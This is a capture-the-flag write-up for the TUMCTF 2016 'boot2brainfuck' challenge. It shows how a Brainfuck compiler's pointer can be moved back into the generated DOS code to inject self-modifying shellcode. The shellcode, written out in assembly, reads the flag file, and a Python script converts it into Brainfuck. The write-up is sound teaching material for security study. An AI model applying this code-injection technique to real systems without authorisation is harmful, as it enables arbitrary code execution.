English [TUMCTF 2016] [EXPLOIT 150 – boot2brainfuck] Write Up

Description

You are still trying to get code execution on your own? Hahaha.

There is an app for that!

We are now introducing Remote Code Execution as a Service (RCEaaS).

Pro tips:

+[—>++<]>.++++[->++++<]>+.++++++++++.———-.+++++++++++.[—->+<]>+++.-[—>++<]>–.++++++++++++..—-.[–>+<]>++.———–..[—>+<]>+++.[—>+<]>.——–.[->+++++<]>–.+[—>+<]>++++.++++++.[—>+<]>—–.—[->++<]>.++[—>++<]>+.>++++++++++.
Flag is at A:\FLAG.TXT
No keyboard input in the Freemium version :/
nc 130.211.155.146 20666
download

Solved by: 26
Bonuspoints: 11

Resolution

NB: All the code can also be found there.

This challenge involved doing some brainfuck. We are given bfc.py which will take input from stdin and generate an ASM code. We can see from the top of the file that the compilation line is

./bfc.py > out.asm && nasm -f bin -o out.com out.asm

We also know from the description that our generated binary will be launched inside a VM that does’nt receive any input.

The binary generated is a DOS COM 16 bits kind of binary, that’s pretty old!
The top of the generated ASM file:

BITS 16
ORG 0x100
mov bp, cells

will help us understand the format. The COM format is interesting, it’s minimal format with no header (file on linux sees it as data) which is just pure assembly. The 16 bits limit the size of the file to 65,280 byte to be loaded in memory. The ORG 0x100 means our assembly is going to be at offset 0x100.
If we look at the end of the asm, we also got cells: times 30000 db 0x0, that’s the cells used by the brainfuck, that means we have a stack of 30000 byte.

If we make a little brainfuck program from the script and disas it using ndisasm we get this:

laxa:boot2brainfuck:10:25:30$ ./bfc.py > out.asm && nasm -f bin -o out.com out.asm \
&& ndisasm -b 16 out.com | head
.
00000000  BD1001            mov bp,0x110   ; mov stack address into bp
00000003  8A5600            mov dl,[bp+0x0]
00000006  B402              mov ah,0x2
00000008  CD21              int 0x21
0000000A  B44C              mov ah,0x4c    ; DOS exit interrupt
0000000C  B000              mov al,0x0     ; exit code
0000000E  CD21              int 0x21       ; DOS interrupt
00000010  0000              add [bx+si],al ; this is the stack space
00000012  0000              add [bx+si],al ; this is the stack space
00000014  0000              add [bx+si],al ; this is the stack space

So, we can see that right after the generated code is our stack. If you don’t know brainfuck yet, we can only do simple operations like: readchar, outputchar, bp++, bp–, ++*bpp, –*bpp, and loops.
You know stacks right? Well, usually, we are starting at some offset and going up to higher offsets, but with this program, what if we go in the lower adress? You see where we are going?
We can move our base pointer directly inside the code at runtime and modify it, this making self-modifying code!

In every exploit, we like to make a little Proof Of Concept when an idea pops into our minds. The easiest way is to try to change the code return (which is 0 by default) to something else to assert our finds.
The following brainfuck does that:

+[<]>+

This code is like this in C:

*bp++;
while (*bp != 0)
      bp--;
*bp++;

If you look at the disassembly given before, you can see that the first NULL byte is just before the last int 21h generated by bfc.py. So, by changing the value of this NULL byte, we change the return code of the program.

Launching this code inside a DOS terminal of a Windows Xp VM and then doing echo %ERRORLEVEL% will prove that our findings were actually correct!

boot2brainfuck

We just proved that we can actually modify/add code at run time. Next step is then to make a DOS program that will open/read a file and then output it’s content on the terminal.
This step was the hardest actually, mainly because we found no debugger that would work for DOS 16 bits :(.
Our final shellcode which also output the filename (we had to debug directly by printing stuff in ASM :() is the following:

BITS    16
ORG     0x100

        mov ah, 0x3D            ; DOS open interrupt
        mov al, 0               ; mode: read-only
        mov dword [bp+0x200], "A:"
        mov dword [bp+0x202], 0x465C
        mov dword [bp+0x204], "LA"
        mov dword [bp+0x206], "G."
        mov dword [bp+0x208], "TX"
        mov word [bp+0x20a], 0x54
        mov si, 0               ; counter for print
print:
        mov ah, 0x2             ; DOS write interrupt
        mov dl, [bp+0x200+si]   ; character to write
        int 0x21                ; DOS interrupt
        inc si                  ; inc counter
        cmp si, 12              ; we print 12 chars
        jl print                ; loop
        mov al, 0               ; mode: read-only
        mov ah, 0x3D            ; DOS open interrupt
        lea dx, [bp+0x200]      ; filename
        int 21h                 ; DOS interrupt
        mov [bp+0x19F], ax      ; save handle
readfile:
        mov bx, [bp+0x19F]      ; get handle
        mov ah, 0x3F            ; DOS read file interrupt
        mov cx, 1               ; number of bytes to read
        lea dx, [bp+0x150]      ; buffer
        int 21h                 ; DOS interrupt
        cmp ax, cx              ; check if EOF
        jne exit                ; exit if EOF
        mov ah, 0x2             ; DOS write interrupt
        mov dl, [bp+0x150]      ; character to write
        int 21h                 ; DOS interrupt
        jmp readfile            ; loop till EOF
exit:
        mov ah, 4ch             ; DOS exit interrupt
        mov al, 0               ; exit code
        int 21h                 ; DOS interrupt

With this working shellcode, transforming it using brainfuck isn’t really hard, here are our scripts that we used to debug and run everything:

#!/bin/bash

nasm -f bin -o test.com DOS_file_reader.asm
ndisasm -b 16 test.com > disas
./BFgenerator.py | ./testBF.sh
rm out.asm

And the python brainfuck script:

#!/usr/bin/env python2

import sys

"""
The generated asm from BF just goes like this:
[...] # BF asm
# this part is the BF asm epilogue generated
00000015  B44C              mov ah,0x4c
00000017  B000              mov al,0x0
00000019  CD21              int 0x21
"""

# SC is our shellcode contained in DOS_file_reader.asm
with open("test.com", "rb") as f:
    SC = f.read()


p = ""
p += "+[<]>" # position bp to int 0x21

# first 2 bytes are going to be special since we rewrite the int 0x21
tmp = ord(SC[0])
while tmp > 0xCD:
    p += "-"
    tmp -= 1
while tmp < 0xCD:
    p += "+"
    tmp += 1
p += ">" # move bp
tmp = ord(SC[1])
while tmp > 0x21:
    p += "-"
    tmp -= 1
while tmp < 0x21:
    p += "+"
    tmp += 1
p += ">"

SC = SC[2:]
for x in SC:
    tmp = ord(x)
    for z in range(0, tmp):
        p += "+"
    p += ">"

print p

Finally, the flag is: hxp{ju57 l1k3 4 7ur1n6 m4ch1n3 bu7 w17h l1m173d 5p4c3}

Leave a Reply

Your email address will not be published. Required fields are marked *